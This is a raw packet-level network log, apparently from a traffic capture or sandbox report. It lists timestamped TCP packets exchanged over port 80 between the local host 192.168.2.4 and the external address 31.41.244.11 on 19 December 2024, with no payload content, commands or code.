Dec 19, 2024 06:09:12.553503990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.553560972 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.553621054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.553678036 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.554800034 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.554872990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.554924011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.554985046 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.556173086 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.556232929 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.556286097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.556354046 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.557415009 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.557472944 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.557522058 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.557578087 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.558772087 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.558830976 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.558890104 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.558945894 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.560020924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.560079098 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.677990913 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.678117037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.678196907 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.678257942 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.678523064 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.678592920 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.678649902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.678705931 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.679447889 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.679502010 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.679502964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.679555893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.680429935 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.680488110 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.680532932 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.680584908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.681394100 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.681452036 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.681513071 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.681571960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.682385921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.682442904 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.682477951 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.682533026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.683373928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.683430910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.683478117 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.683532953 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.684340954 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.684398890 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.684447050 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.684524059 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.685298920 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.685355902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.685421944 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.685482025 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.686274052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.686342955 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.686394930 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.686453104 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.687247992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.687309980 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.687408924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.687469959 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.688272953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.688371897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.688380003 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.688441038 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.689177036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.689238071 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.689305067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.689373016 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.690162897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.690220118 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.690294027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.690355062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.691139936 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.691198111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.691256046 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.691329956 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.692110062 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.692162991 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.692172050 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.692212105 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.693094015 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.693141937 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.693145990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.693196058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.694078922 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.694138050 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.694205999 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.694267035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.695028067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.695095062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.695163012 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.695220947 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.696031094 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.696094990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.696139097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.696197987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.696994066 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.697052956 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.697138071 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.697195053 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.697974920 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.698036909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.698096991 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.698153973 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.698930979 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.698987007 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.699052095 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.699105978 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.699899912 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.699956894 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.699997902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.700048923 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.700869083 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.700932026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.700964928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.701014996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.701838970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.701896906 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.701951027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.702011108 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.702814102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.702871084 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.702919006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.702976942 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.703828096 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.703892946 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.703917027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.703972101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.704770088 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.704830885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.704878092 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.704936028 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.705764055 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.705825090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.705884933 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.705940962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.706753969 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.706809998 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.706856012 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.706933975 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.707705975 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.707763910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.707820892 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.707875967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.708647013 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.708719015 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.708801031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.708858013 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.709656000 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.709706068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.709810972 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.709862947 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.710632086 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.710694075 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.710731030 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.710783958 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.711683035 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.711756945 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.711827040 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.711899996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.712574959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.712635994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.712655067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.712702990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.713527918 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.713592052 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.713670015 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.713721991 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.714504004 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.714562893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.714603901 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.714659929 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.715467930 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.715538025 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.715656996 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.715708017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.716434956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.716494083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.716562986 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.716617107 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.717427015 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.717487097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.717597008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.717650890 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.718401909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.718465090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.718523979 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.718605042 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.719352007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.719417095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.719485998 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.719542980 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.720340967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.720396996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.720448017 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.720504999 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.721299887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.721363068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.721396923 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.721452951 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.722294092 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.722354889 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.722410917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.722496033 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.723347902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.723408937 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.723495007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.723552942 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.724276066 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.724330902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.724400043 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.724458933 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.725235939 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.725294113 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.725363016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.725409985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.726205111 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.726269960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.726336002 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.726408005 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.727181911 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.727250099 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.727288008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.727350950 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.728141069 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.728202105 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.728271961 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.728331089 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.729110956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.729221106 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.870243073 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.870328903 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.870412111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.870412111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.870650053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.870707989 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.870826960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.870881081 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.871603966 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.871659994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.871742964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.871799946 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.872570038 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.872642040 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.872680902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.872741938 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.873548985 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.873625994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.873666048 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.873739958 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.874552011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.874610901 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.874676943 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.874731064 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.875490904 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.875545979 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.875616074 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.875670910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.876442909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.876498938 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.876630068 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.876683950 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.877424002 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.877480984 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.877549887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.877604961 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.878426075 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.878503084 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.878505945 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.878562927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.879420042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.879478931 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.879560947 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.879614115 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.880398989 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.880496025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.880500078 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.880549908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.881333113 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.881385088 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.881505013 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.881558895 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.882323980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.882380962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.882463932 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.882518053 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.883270025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.883341074 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.883425951 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.883481979 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.884274960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.884330034 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.884399891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.884459972 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.885221004 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.885276079 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.885337114 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.885390997 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.886193037 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.886253119 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.886286020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.886351109 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.887180090 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.887247086 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.887276888 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.887353897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.888132095 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.888186932 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.888287067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.888346910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.889122009 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.889178038 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.889238119 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.889292002 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.890077114 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.890146971 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.890202045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.890255928 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.891056061 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.891153097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.891185045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.891247988 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.892034054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.892091036 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.892174959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.892246962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.892996073 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.893064976 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.893140078 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.893198013 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.894000053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.894076109 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.894134998 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.894195080 CET	49763	80	192.168.2.4	31.41.244.11
